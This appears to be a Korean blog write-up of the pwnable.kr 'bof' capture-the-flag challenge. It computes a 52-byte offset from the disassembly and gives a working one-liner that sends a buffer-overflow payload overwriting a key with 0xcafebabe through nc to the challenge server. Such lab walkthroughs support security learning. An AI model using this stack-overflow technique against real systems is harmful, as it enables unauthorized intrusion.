파일 하나하나 받아서 봅시다.
<bof.c>
<bof>
func+40 부분이 비교하는 부분이네영 그럼 0x8(%ebp) 가 key 주소값이라 봐도 되겠죠.
그리고 우리가 값을 넣을수 있는 overflowme에 값을 넣는 gets 함수는 func+35번째 줄에 있네요. 그럼 그전줄은 인자를 넣는 부분입니다.
mov %eax, (%esp) 면 eax값은 어디서 정해지나? 전줄이겠져뭐
lea -0x2c(%ebp), %eax 에사 -0x2c 가 overflowme의 주소값이겠네요. 그럼 스택 모양의 필요한 부분을 보자면
key |
0x8 - (-0x2c) |
overflowme |
같은 모양이 되겠네요 그럼 overflowme 와 key 사이 길이는 0x8 - (-0x2c) 가 되는거고 그 값은 10진수로 52가 됩니다.
굳이 계획을 세워보면
dummy [52 byte] + 0xcafebabe [4 byte]
가 되겠네요.
공격 ㄱㄱㄱㄱ
(python -c 'print "A"*52 + "\xbe\xba\xfe\xca"';cat) | nc pwnable.kr 9000
크을리어
'Pwnable' 카테고리의 다른 글
[Plaid] Ropasaurusrex (0) | 2017.06.28 |
---|---|
[Toddler's Bottle] cmd1 , cmd2 (0) | 2017.05.30 |
[Toddler's Bottle] flag (0) | 2017.05.30 |
[Toddler's Bottle] random (0) | 2017.05.30 |
[Toddler's Bottle] FD (0) | 2017.05.24 |